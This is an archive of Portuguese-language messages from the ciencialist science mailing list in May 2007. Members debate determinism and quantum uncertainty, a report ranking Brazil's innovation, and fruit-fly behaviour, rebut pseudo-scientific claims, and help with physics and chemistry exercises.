> imcomoda não são os ferrari, mas as perguntas que eles
> fazem. E a pergunta nunca morre sem a resposta.
>
> E a fisica não tem a resposta.
> E não quer ter.
> E tem raiva de quem tem.
>
> A revolução já está determinada.
> E pra quem ainda não tem certeza.
>
> Watch and see!
>
> Sinceramente
> Ferrari
>
> --- jeffersonpascon <jeff@...> escreveu:
>
> > > > >
> > > >
> > > > Creio que faltem mentes brilhantes hoje em dia.
> > >
> > > Creio que elas nunca faltaram.
> > >
> >
> > Talvez faltem no lugar certo!
> >
> > >
> > > Questionar você pode, mas não espere concordância.
> > Ninguém disse que
> > > você não pode questionar, mas ninguém precisa
> > concordar com seu
> > > questionamento. Certo?
> > >
> >
> > Claro que não espero concordância. E claro que eu
> > acredito que eu
> > estou errado, pois é algo que persiste há várias
> > décadas com muita
> > gente pensando em cima. Estou questionando para
> > tentar entender, pra
> > ver se alguém me dá uma luz, como o Takata tá
> > tentando. Eu não vejo
> > esta lista como um jogo de quem sabe mais, mas como
> > um laboratório
> > científico. Eu não penso que se você não responder a
> > minha pergunta,
> > significa que eu "ganhei" o jogo, mas que você
> > também pode ter as
> > mesmas dúvidas. No máximo, posso ter mostrado uma
> > quadra de ases!!
> > hahaha :-)
> >
> > >
> > > Nada na ciência é aceito sem questionamento.
> > Milhares de mentes já
> > > questionaram o princípio da incerteza, já proporam
> > alternativas e
> > > fizeram críticas a respeito. Se o princípio
> > sobrevive é porque
> > passou
> > > em todos os testes até agora. E é esse justamente
> > o ponto!
> > >
> >
> > Mas eu não tenho medo de perguntar a falar o que eu
> > acho. É assim que
> > eu aprendo! Como já disse, não acho que a lista é um
> > jogo onde eu
> > tenha que ter tanta cautela para não "perder". Tenho
> > sim que ter
> > respeito aos co-listeiros e, principelamente, à
> > ciência.
> >
> > []´,s
> > Jeff.
> >
> >
>
> EXPERIMENTE XIXI COM TINTA (novo livro do Ferrari):
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>




SUBJECT: Brasil está em 48º e deve cair em ranking de criatividade
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>, <politicab@yahoogrupos.com.br>, GRUPO DE ESTUDOS DA HISTÓRIA DO BRASIL - GEHB <grupohistoriadobrasil@yahoo.com.br>, Grupo de Debates Políticos Brasileiro <brasil-politica@grupos.com.br>, <Genismo@yahoogroups.com>, <Conversa_de_Botequim@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 16/05/2007 16:05

transcrevo do JC:



Brasil está em 48º e deve cair em ranking de criatividade





Relatório da consultoria britânica Economist Intelligence Unit prevê que o Brasil caminhará para trás em relação ao resto do mundo em termos de inovação tecnológica

Nas previsões do estudo, o país, hoje no 48º lugar em um ranking de inovação envolvendo 82 países, cairá para a 52º nos próximos cinco anos.

Nesse período, países como Ucrânia e Lituânia ultrapassarão o Brasil, e o México aumentará ainda mais o abismo de inovação que separa as duas maiores economias latino-americanas.

O ranking considerou aspectos como o número de patentes registradas no país e o ambiente econômico, social e político que pode estimular ou coibir iniciativas inovadoras.

Liderança

Japão, Suíça, EUA e Suécia lideram a lista como os países com melhor desempenho de inovação empresarial.

No caso japonês, o estudo destacou o número de patentes registradas no país e o modelo econômico que, sem poder contar com recursos naturais, se constrói com base na inovação empresarial.

A Suíça, no 2º lugar da lista, exemplifica o que a EIA chama de"vantagem de países pequenos", que oferecem amplas oportunidades educacionais e serviços de bem-estar social aos seus cidadãos.

Em um trabalho paralelo, a consultoria entrevistou 485 altos executivos de empresas em diversos países, que responderam, entre outras questões, sobre as razões que tornam um país inovador.

"O principal determinante é a qualificação da mão-de-obra (92% dos entrevistados) e a qualidade da infra-estrutura de telecomunicações e tecnologia da informação (TI)", diz a EIU.

Cerca de 45% das empresas que dão grande importância à inovação têm resultados melhores que suas concorrentes; das que não consideram inovação como algo importante, apenas 32% têm desempenho acima da média.

Emergentes

Na América Latina, Argentina, Venezuela, Cuba, Chile, Costa Rica e México superam o Brasil no ranking - mas, desses, apenas os dois últimos devem ganhar posições, prevê a EIU.

O relatório destacou o salto mexicano de inovação "na América Latina, uma região não conhecida pela sua inovação".

Investimento estrangeiro, treinamento, infra-estrutura e avanços em TI decorrentes do Nafta, o acordo de livre-comércio com os EUA, estão impulsionando a economia mexicana, afirma a consultoria britânica.

Inovação - a aplicação de conhecimento em uma maneira nova, com o objetivo final de obter benefícios econômicos - está se tornando cada vez mais importante para companhias e governos.

Economist Intelligence Unit

O texto também destacou o desempenho de China e Índia, que "estão deixando sua condição de membros do mundo subdesenvolvido".

"A China pode esperar mais benefícios que a Índia de investimentos diretos, por causa do seu ambiente regulatório e econômico", disse o estudo.

"Muitos dos novos investimentos na China se destinarão a setores ricos em inovação, como comunicação fixa e móvel, aviação, automotivo, farmacêutico e alimentício."

Segundo o relatório, o retorno de investimentos em inovação é proporcionalmente maior em países de renda média, como México e China, que em países mais ricos.

"Em países de renda baixa e média, a atividade doméstica de inovação tende a facilitar e tornar mais eficiente a absorção de tecnologia importada. Assim, eles se beneficiam duplamente os efeitos da inovação doméstica e da absorção da inovação estrangeira."
(BBC/Brasil, 15/5)


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Determinismo, incerteza e a revolução
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/05/2007 16:31

Prof. J.C. nos diz (dirigindo-se a Homero):

>Homero,
Desconfio que todas as respostas a todas as questões da humanidade
esteja na "neurolinguística". Eu não sei direito o que quer dizer esse
palavrão, mas soa como "elixir paregórico para os males do
analfabetismo científico". :) Abraços, JC<


Caro amigo,
ledo engano!
Se vc tivesse assistido ao filme "The Secret", visto por uma platéia 'selecionada', em ambiente restrito, selecionado (só erraram em me convidar!), vc mudaria de idéia! É uma lavagem cerebral de primeira água, além de mostrar claramente O Segredo (agora não mais segredo) de TUDO --- o Princípio da Atração! O Poder do pensamento! Como ter seu carro, sua casa, sua bicicleta e tudo de bom na vida! Simples, muito simples! Basta "pensar positivamente" nesses desejos e o 'raciocínio', ou seja, as ondas do universo vibrando em uníssono no meio, virá atendê-lo .... etc.
É uma imoralidade de filme (e livro de auto-ajuda; bem do estilo Ferrari). Apesar de já tê-lo visto, vou receber uma cópia digital em power point de um listeiro da STR e quem quiser eu envio cópias. Após passar o filme e escutada a opinião de um psicólogo e de um advogado (claro, ambos especialistas em física quântica) pedi para dar meu parecer e joguei o maior balde de água fria na platéia. Avacalhação total! 10% aprovaram a observação; o restante continuou com uma sessão de levantar os braços e rezar algo incompreensível e forçar o cenho para pedir coisas com profundidade mental.

Pasmem! Isso existe!

aquele abraço,



SUBJECT: Re: [ciencialist] ABC da CIENCIA
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/05/2007 16:52

Como eu apregoei, colocar o ABC da Ciência aqui na lista para receber colaborações de upgrade e melhorias já funcionou. O Ferrari nos brinda com o item que faltava naquele Glossário. Assim, por gentileza, acrescentem àquela lista o item inicial:

0 - O Método Científico é fruto do raciocínio; o raciocínio (ondas que se propagam no meio) cria o conhecimento. O primeiro passo para se "fazer ciência" é ver o óbvio, ver o fato, ver o sempre. Não é possível fazer ciência sem o mesmo, sem o monótono. Fazer ciência é estudar a repetição. A monotonia. Toda a física é fruto do raciocínio dualista (cheio e vazio).

Assim, vamos ampliando nosso ABC.
No aguardo de mais contribuições.

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


>>> Boa ciência não se faz com terminologia relaxada e
raciocínio malconexo.

--- Nem se faz ciencia ignorando que o "metodo
cientifico" é fruto do raciocinio. Nem se faz ciencia
ignorando como o raciocinio cria o conhecimento.

--- Existe abc mas básico do que este?



SUBJECT: Re: Brasil está em 48º e deve cair em ranking de criatividade
FROM: "ag_favaro" <ag_favaro@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/05/2007 18:55

--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
<scordeiroes@...> escreveu
>
> transcrevo do JC:
>
>
>
> Brasil está em 48º e deve cair em ranking de criatividade
>
De que forma são feitas estas pesquisas? Quais os parâmetros
considerados para chegar a esta conclusão?
Infelizmente, institutos assim podem tendenciar seus resultados, de
acordo com o modelo que imaginam correto.
Não pretendo enaltecer o Brasil. Muito precisa ser mudado, é
óbvio. Mas desenvolvimento científico é mais que número bruto de
patentes registradas, é criatividade aplicada. É necessário que
aconteçam profundas melhorias no nosso sistema educacional, e nas
oportunidade de financiamento ao pesquisador/empreendedor sério.
Porém considero muito mais fácil o Brasil superar as diferenças de
oportunidades, do que a China virar democrácia, ou a Índia renunciar
a suas "castas"; para não citar o resto da América Latina, que não
considero - fora alguns pontos isolados - melhor do que aqui.

Antonio G. Favaro Filho



SUBJECT: Re: ABC da CIENCIA
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/05/2007 20:58

Olá Ferrari

Bem, já que está todo mundo tentando explicar para você onde errou e
quais seus enganos, acho que não tenho escolha se não tentar também..:-)

Ferrari: "--- Nem se faz ciencia ignorando que o "metodo
> cientifico" é fruto do raciocinio. Nem se faz ciencia
> ignorando como o raciocinio cria o conhecimento.
>
> --- Existe abc mas básico do que este? "

Você não entende o que o termo raciocínio significa, justamente por
apresentar o que o Leo chamou de "terminologia relaxada" e "raciocínio
malconexo". O que está fazendo talvez possa ser chamado de poesia ou
literatura, mas não é ciência.

Se Tolkien afirmasse em seus livros que "na Terra Média a pensamento é
o pulso da matéria", tudo bem, podemos aceitar essa alegação, o que
quer que signifique, porque é literatura, e ele tem "liberdade
poética" para agir dessa forma, sem precisar demonstrar evidências disso.

E podemos considerar que na Terra Média é assim que é e pronto.

Mas, ao alegar que neste mundo, nesta realidade física, "pensamento é
pulso", tem de mostrar evidências disso, evidências materiais,
previsões confirmáveis, argumentos, desdobramentos, adequação a outros
conhecimentos e teorias, etc.

E não basta para isso o jogo de palavras sem pé nem cabeça, ou a
distorção de termos, como em seus discursos pós-modernistas, que só
você pensa que significam algo.

O "poder da física" se mostra evidente em suas previsões e em tudo que
vê a sua volta. Para "desmontar" esse poder não basta a palavra do
Ferrari de que é assim.

Demonstre, por exemplo, que pode usar suas alegações para construir
uma bomba atômica SEM usar a física que despreza, ou o método
científico (que não compreende). Pode fazer isso, Ferrari?

Sim, o método científico é fruto da mente humana, e do raciocínio
humano. A Terra Média, os elfos, os anjos, etc, também. Mas o método é
eficaz em produzir explicações para este universo físico, explicações
confirmáveis, e a Terra Média é uma história apenas.

Quer substitui-lo? Quer "abrir a mente dos pobres cientistas"? Fique à
vontade, basta apresentar outra ferramenta que seja eficaz pelo menos
no mesmo nível que este método. Ou pare de chatear as pessoas com
bobagens e jogos de palavras.

Ferrari: "A fisica é fruto do raciocinio dualista (cheio
e vazio). Até quando vai insistir em negar este fato?"

Bullshit. Desculpe, mas é o que define essa alegação. Não há nenhum
"fato" em sua frase, mas uma alegação sem nenhuma base ou sentido. A
física, o conhecimento que chamamos de física, é um conjunto de
teorias e explicações que podem ser confirmadas pela experimentação e
por quem assim desejar. Não tem NADA a ver com "raciocínios
dualistas", desejos pessoais, religiões (o que inclui a sua, pessoal e
tão sem pé nem cabeça quanto qualquer outra), etc.

Apresente um estudo ou experimento que prove o que alega, Ferrari, não
um amontoado de frases desconexas, mas uma forma de provar que tem
razão em sua alegação.

Na verdade, como não tem nenhuma base para afirmar o que afirma, e
como não se trata de nada que possa ser demonstrado (como toda
crença), podemos passar a eternidade a escrever mensagens do tipo "é
sim, não é não, é sim, não é não", "ad infinitum".

Ou, para exemplificar:

Ferrari: "É inegavel."

Homero (ou qualquer outro co-listeiro): "Eu nego."

Ferrari: "Mas é inegavel."

Homero (ou qualquer outro co-listeiro): "Mas eu nego."

Ferrari: "Mas é inegavel."

Homero (ou qualquer outro co-listeiro): "Mas eu nego."

Ferrari: "Mas é inegavel."

Homero (ou qualquer outro co-listeiro): "Mas eu nego."

Acho que já deu para entender o seu problema, não?..:-)

Um abraço.

Homero




SUBJECT: Re: ABC da CIENCIA
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/05/2007 21:52

Como o Ferrari quer fazer interpretações a respeito de E = m.c2
proponho q ele (atenção pessoal, é *somente* pro Ferrari, se quiserem
fazer tudo bem, mas *não* colquem suas respostas na lista) resolva o
seguinte exercício:

Considere a seguinte reação de decaimento de urânio-235:

U-235 + 1 n = Rb-90 + Cs-143 + 3 n

A massa do urânio-235 (em unidades de massa atômica) é 235,0439242; do
rubídio-90, 89,9148; do césio-143, 142,9273 e do nêutron, 1,0086.

Considere q uma unidade de massa atômica equivale a 1,660538782 x
10^-27 kg e que a velocidade da luz no vácuo é de 299.792.458 m.s-1.
Qual o valor da energia - em joules - gerado por essa reação?

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] P/ Gil - Re: Determinismo e incerteza
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/05/2007 22:30

Olás

Prof. Léo, a conversa não era em pvt, e como o sr. pode ver, o Alberto
estava alfinetando os quânticos, como gosta de fazer em todos os dias
que nasce um mosquito menor que um elefante! :)

E o sr. colaborou com mais uns alfinetes, claro. Na falta de bagagem
pra descer do muro, fico apreciando de longe as brincadeiras, já que o
clima continua amistoso.



Gil
Em 16/05/07, Luiz Ferraz Netto<leobarretos@uol.com.br> escreveu:
> "Alberto Mesquita Filho" dirigindo-se a "Gil":
>
> Gil: >> Tecnologia se beneficia e potencializa com a Ciência, mas a Ciência
> > se beneficia e se potencializa com a tecnologia.<<
>
> Alberto: > Grande verdade e que, via de regra, costuma ser deixada de lado. Os
> físicos, por exemplo, estão aguardando com ansiedade a construção de
> grandes aceleradores de partículas, obviamente uma obra da tecnologia,
> e que poderá colocar em prova algumas de suas teorias. A tecnologia
> utilizada nesta construção, por outro lado, apóia-se na aceitação de
> teorias centenárias e, quiçá, verdadeiras. Parece-me que estamos
> frente áquela história do ovo e da galinha. Quem nasceu primeiro, a
> ciência ou a tecnologia?<
>
> Léo: > Minha mania de imiscuir-me na 'conversa alheia e com privacidade', é notória, mas, já imiscuíndo.......
>
> A Ciência nasce primeiro! Mesmo que seja, embrionariamente, apenas na mente privilegiada. Nenhum leigo em Ciência entra num laboratório devidamente aparelhado e diz "Vou inventar o Cícloton! (já com nome e tudo mais!!!!). Vou aproveitar-me desse acelerador de partículas para exemplificar isso. Parece-me justo não? Mas, podem pensar em algum outro exemplo em oposição a essa idéia.
> Do magnetismo, Lawrence e Livingston já sabiam de duas coisas: R = mv/qB e T = 2(pi)m/qB ; até jovens do terceiro ano do ensino médio sabem isso (e talvez tenham memorizado assim: "Raios, Me Vê um QuiBe!" e "Tesão, fizeram (pi,pi) no Meu QuiBe.") e perceberam que T é independente de R e de v. Assim, desenharam o primeiro cícloton, os dois Ds e a tensão alternada sincronizada entre eles.
> Logo depois perceberam, dado o avanço da relatividade que, na realidade o período T acima não é totalmente independente de v para velocidade comparáveis à da luz, PORQUE a massa m aumenta com a velocidade de acordo com m= mo/sqrt(1-v2/c2). Por essa razão, cíclotons convencionais podem acelerar prótons somente até 20 MeV. Entretanto, se o período T da tensão alternada aplicada aos Ds for aumentando à medida que as massas relativas das partículas aumentam, não haverá limite (além da dificuldade de construir eletroímãs) para a energia possível. Este tipo de cícloton no qual o período de oscilação T varia durante a aceleração é o sincrocícloton.
> Este, com algumas modificações podem acelerar prótons com energia cinética além dos 730 MeV! O sincrocícloton de Cornell acelera até 1,2 BeV e o Bevatron do Brookhaven brinca com os 6,2 BeV. O Bévatron novo vai aos 30 BeV e o novíssimo (não sei se já está pronto) chegará aos 200 BeV.
> Primeiro a teoria (Newton+Maxwell+Einstein), depois a tecnologia!
> E cadê a quântica? Ou será que ja construiram um bévatron quântico e não estou sabendo?
>
> []'
>
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
>
>
> > Gostaria de saber se, quando uma empresa anunciar um computador
> > quântico, eu estarei comprando realmente um computador que faça jus
> > ao nome, ou uma campanha de marketing, ou mesmo uma "aproximação"
> > conveniente, que só ficará evidente como "aproximação" para os feras
> > que tiverem acesso a informações muito mais confiáveis e bem
> > elaboradas do que as que eu tenho acesso no mundo leigo.
>
> Delírios à parte [;-)], eu diria que você estaria comprando um
> computador que, hipoteticamente, atende alguns (quiçá todos) caprichos
> da fícção quântica, mas nada impede que seu funcionamento possa vir a
> ser explicado por outra teoria não tão ficcionista quanto esta. Quanto
> à denominação, eu diria que o computador seria tão quântico quanto o
> "tunelamento quântico" [fenômeno este explicado por Newton no século
> XVII utilizando argumentos 100% clássicos]. Ou então que esse
> computador seria tão quântico quanto a "cura quântica", o "espiritismo
> quântico", o "teletransporte quântico" e centenas de outras baboselas
> quânticas criadas dentro ou fora dos institutos de física da
> atualidade.
>
> [ ]´s
> Alberto
> http://ecientificocultural.com/indice.htm
> Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
> coulombiana e a Terra se move. E a história se repetirá.
>
>
>
> ##### ##### #####
>
> Página de apoio
> http://www.ciencialist.com
>
>
> ##### ##### ##### #####
> Links do Yahoo! Grupos
>
>
>
>
> --
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.467 / Virus Database: 269.7.0/804 - Release Date: 14/05/2007 16:46
>
>
>
>
> ##### ##### #####
>
> Página de apoio
> http://www.ciencialist.com
>
>
> ##### ##### ##### #####
> Links do Yahoo! Grupos
>
>
>


SUBJECT: Listas de discussão
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/05/2007 23:44

Alguém saberia me indicar outras listas de discussão com pessoas
inteligentes e bem informadas? A Acrópolis parece interessante, mas
por lá passam mais de 4 mil mensagens por mês, o que acho
desagradável, pois as mensagens rapidamente vão parar na terceira
página e se perdem em um mar de mensagens. A Ciencialist tem números
muito mais razoáveis (embora ainda ache que seja elevado, e que mais
mensagens poderiam ser enviadas em private).

João de Carvalho




SUBJECT: Re: [ciencialist] O Que é Raciocinar? ::: (artigo)
FROM: "Marcos Ludwig" <reinada@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/05/2007 23:58

> --- Qual é seu interresse nesta resposta.

O interesse é apenas tentar um esforço maior em acreditar no
mirabolante testemunho que tu nos passou.

> --- Ludwig? Vc é parente do bethovem?

Não que eu saiba. O meu sobrenome é Ludwig, e o meu nome é Marcos. O
sobrenome do compositor é Beethoven (com "n"), e o nome dele é Ludwig.
O sobrenome designa um provável parentesco entre as pessoas que o
compartilham. Já o nome não. Eu sequer tenho o mesmo sobrenome que o
compositor. Logo, eu posso ser tão parente de Beethoven quanto do
economista Ludwig von Mises.

;-)

Saudações,
--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]


SUBJECT: Re: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/05/2007 23:59

Olá, Takata.

> MOSCAS TÊM SINAIS DE LIVRE ARBÍTRIO

Bom, imagino que as redes neuronais de cada mosca eram diferentes,
mesmo que ligeiramente. Cada uma delas teve uma história de vida
diferente, viu coisas diferentes, se alimentou em horários
diferentes, coisas sutis poderiam interferir no comportamento da
mosca. É difícil pensar que dois sistemas complexos como moscas sejam
exatamente iguais, especialmente no que diz respeito às conexões
neuronais. E se eles pegaram a mesma mosca, em dois experimentos
sucessivos, provavelmente sua rede neuronal mudou de forma
significativa entre o primeiro e o segundo experimento.

Saudações,
João de Carvalho




SUBJECT: Re: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/05/2007 00:09

--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
> Bom, imagino que as redes neuronais de cada mosca eram diferentes,
> mesmo que ligeiramente.

No caso é q a *mesma* mosca produziu respostas ligeiramente diferentes
para uma situação idêntica.

Claro, pode-se argumentar q a situação não era idêntica, apenas similar.

Tb pode-se criticar se isso é mm um equivalente ao livre arbítrio.

De todo modo é um resultado interessante. E está disponível
gratuitamente no PLoS.

http://www.plosone.org/doi/pone.0000443

Um dos autores dá alguns detalhes sobre o trabalho de modo mais informal:

http://brembs.net/spontaneous/

[]s,

Roberto Takata



SUBJECT: Dúvida: exercício de cinética química
FROM: Phoenix Myth <phoenixclever@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/05/2007 00:24

Olá Pessoal,
Estou estudando um pouquinho de cinética química e me
deparei com um exercício intrigante que envolve
termoquímica também. Será que tem algum químico que
consegue resolvê-lo?
Lá vai...

Calcule a entalpia-padrão e a variação de entropia da
reação: H2(g) + I2(g) --> HI(g)

Dados:
Lei da Velocidade de formação de HI = k[H2][I2].
Constantes de velocidades (k):
4,3 x 10-7 L/mol.s (a 500 kelvin)
4,4 x 10-4 L/mol.s (a 600 kelvin)
6,3 x 10-2 L/mol.s (a 700 kelvin)
2,6 L/mol.s (a 800 kelvin)

Obs.: não sei, mas se precisar calcular a energia de
ativição precisamos utilizar o método gráfico.

Vou ficar muito grato se alguém me ajudar a
resolver... Eu tenho as respostas caso necessitem.

Obrigado,
[]s




__________________________________________________
Fale com seus amigos de graça com o novo Yahoo! Messenger
http://br.messenger.yahoo.com/


SUBJECT: Re: Dúvida: exercício de cinética química
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/05/2007 00:51

Vc não precisa calcular a energia de ativação, mas vai precisar
calcular a inclinação da reta de regressão entre ln(k/T) e (1/T).

O valor da inclinação será o correspondente à razão negativa entre a
variação da entalpia e a constante universal dos gases.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, Phoenix Myth
> Estou estudando um pouquinho de cinética química e me
> deparei com um exercício intrigante que envolve
> termoquímica também. Será que tem algum químico que
> consegue resolvê-lo?
> Lá vai...
>
> Calcule a entalpia-padrão e a variação de entropia da
> reação: H2(g) + I2(g) --> HI(g)
>
> Dados:
> Lei da Velocidade de formação de HI = k[H2][I2].
> Constantes de velocidades (k):
> 4,3 x 10-7 L/mol.s (a 500 kelvin)
> 4,4 x 10-4 L/mol.s (a 600 kelvin)
> 6,3 x 10-2 L/mol.s (a 700 kelvin)
> 2,6 L/mol.s (a 800 kelvin)
>
> Obs.: não sei, mas se precisar calcular a energia de
> ativição precisamos utilizar o método gráfico.




SUBJECT: Re: [ciencialist] Listas de discussão
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/05/2007 02:01

Ô João:

Existem diversos grupos, cada um com suas peculiaridades e uma constante: muitos associados e poucos participantes. A maioria fica atrás do tôco, gizorrando o papo mas lhes falta coragem para entrar no diálogo, existem realmente alguns listeiros com bastante agressividade.
Aqui no cientialiste só pe permitido, pelos coordenadores sempre atentos, e-mais referente a assuntos ou temas científicos: consideremos como uma especialidade. E coisa de muito métito por excluir (quease que eu fui,,,) os que ousam colocar textos fora do escopo.

Assim, data venia, sugiro que você funde um grupo, estabeleça as premissas básicas, o fulcro do grupo pois deixar para interções indisciplinadas fica muito complicado: consiga dois companheiros para ajudá-lo na moderação e começe: tá faltando um grupo sobre questões especificamente brasileiras como as básicas: saude, educação, cultura, desenvolvimento humano: só que seria necessário um seguimento de cada vez senão vira um tumulto....
religião, nem pensar: é assunto preso a fundamentalismos anacrônicos, de todos os lados, leva a lugar nenhum.
E tem mais algumas milhares de sugestões: exercite seus neurônios e funde um grupo com objetivos específicos.
Espero que tenha sucesso,

silvio.


----- Original Message -----
From: Joao de Carvalho
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, May 16, 2007 11:44 PM
Subject: [ciencialist] Listas de discussão


Alguém saberia me indicar outras listas de discussão com pessoas
inteligentes e bem informadas? A Acrópolis parece interessante, mas
por lá passam mais de 4 mil mensagens por mês, o que acho
desagradável, pois as mensagens rapidamente vão parar na terceira
página e se perdem em um mar de mensagens. A Ciencialist tem números
muito mais razoáveis (embora ainda ache que seja elevado, e que mais
mensagens poderiam ser enviadas em private).

João de Carvalho






------------------------------------------------------------------------------


No virus found in this incoming message.
Checked by AVG Free Edition.
Version: 7.5.467 / Virus Database: 269.6.8/800 - Release Date: 11/5/2007 19:34


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: CeticismoAberto.com atualizado 17.05.2007
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 17/05/2007 06:54

CeticismoAberto.com atualizado
17.05.2007<http://www.ceticismoaberto.com/news/?p=882>
*REFERÊNCIAS ATUALIZADAS*

- Fotos de Fadas - Elsie Wright e Frances
Griffith<http://www.ceticismoaberto.com/referencias/fadas.htm>
Em um domingo de 1917, as primas Elsie Wright, de dezesseis anos, e Frances
Griffiths, de dez, se atrasaram

*FOTOS DE OVNIs*

- Paraipaba, Ceará,
Brasil<http://www.ceticismoaberto.com/fotos/fotosovnis29.htm>
- Siderópolis, Santa Catarina,
Brasil<http://www.ceticismoaberto.com/fotos/fotosovnis30.htm>
- Mauá, São Paulo, Brasil<http://www.ceticismoaberto.com/fotos/fotosovnis31.htm>
- Tomsk, Rússia <http://www.ceticismoaberto.com/fotos/fotosovnis32.htm>
- Natal, Rio Grande do Norte,
Brasil<http://www.ceticismoaberto.com/fotos/fotosovnis33.htm>
- Zdany, Polônia <http://www.ceticismoaberto.com/fotos/fotosovnis34.htm>
- Salvador, Bahia, Brasil<http://www.ceticismoaberto.com/fotos/fotosovnis35.htm>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Quebra de patente de droga anti-aids
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/05/2007 07:21

E achávamos que piratear remédios era problemático!


Gil
http://www.economist.com/business/displaystory.cfm?story_id=E1_RJGTRPR&CFID=2449068&CFTOKEN=56525120

Counterfeit cars in China
The sincerest form of flattery

Apr 4th 2007 | SHANGHAI

SUBJECT: Re: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/05/2007 09:26

Oi,

Joao de Carvalho: Bom, imagino que as redes neuronais de cada mosca
eram diferentes, mesmo que ligeiramente.

Takata: No caso é q a *mesma* mosca produziu respostas ligeiramente
diferentes para uma situação idêntica.

Claro, pode-se argumentar q a situação não era idêntica, apenas similar.

Manuel: Para muitos físicos, existe uma relação de continuidade entre a
indeterminação quântica e o comportamento não-linear ou caótico dos
sistemas complexos macroscópicos (os organismos vivos, por exemplo).
Como escreveu M. Gell-Mann: "Felizmente, a questão está agora sendo
esclarecida com o trabalho de vários físicos teóricos, incluindo o de
um dos meus alunos, Todd Brun. Seus resultados parecem confirmar que
para muitos propósitos é útil considerar o caos como um mecanismo que
amplifica em níveis macroscópicos a indeterminação inerente à mecânica
quântica." ("O Quark e o Jaguar', Rocco, Rio de Janeiro, 1996, p. 43.)

Para Jacques Monod, as mutações gênicas, que constituem a matéria-prima
da evolução, são em grande medida determinadas pela randomicidade
quântica a qual estão sujeitas as moléculas que compõe o DNA.
Textualmente: "Existe, enfim, na escala microscópica uma fonte de
incerteza mais radical ainda, enraizada na estrutura quântica da
própria matéria. Ora, uma mutação é em si um acontecimento
microscópico, quântico, ao qual, em conseqüência, se aplica o princípio
da incerteza. Acontecimenti, portanto, 'essencialmente' imprevisível
por sua própria natureza." ("O Acaso e a Necessidade", Ed. Vozes,
Petrópolis, 1989, p.131/132.)

De modo semelhante, a relativa imprevisibilidade
(previsibilidade 'apenas' probabilítica) do comportamento das moscas e
de qualquer outro animal deve-se, em última análise, à incerteza
quântica dos movimentos dos elétrons e dos íons através das redes
neuronais.

Abraços,
Manuel Bulcão



SUBJECT: Re: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/05/2007 10:33

Olá João de Carvalho e demais,

João: E se eles pegaram a mesma mosca, em dois experimentos sucessivos,
provavelmente sua rede neuronal mudou de forma significativa entre o
primeiro e o segundo experimento.

Manuel: O interessante é que, malgrado essas mudanças significativas,
nesse novo experimento é provável - porém não certo - que a
mosca "repita" o comportamento anterior, do que se deduz que, na
primeira experiência, a mosca "poderia" ter se comportado de outra
forma. Creio que isso significa que a indeterminação "relativa" do
comportamento da mosca não é apenas aparente (decorrente da nossa
ignorância, de variáveis ocultas ou que escapam à nossa observação),
mas algo intrínseco do sistema, um acaso "objetivo".

Abraços,
Manuel Bulcão



SUBJECT: se for útil....
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
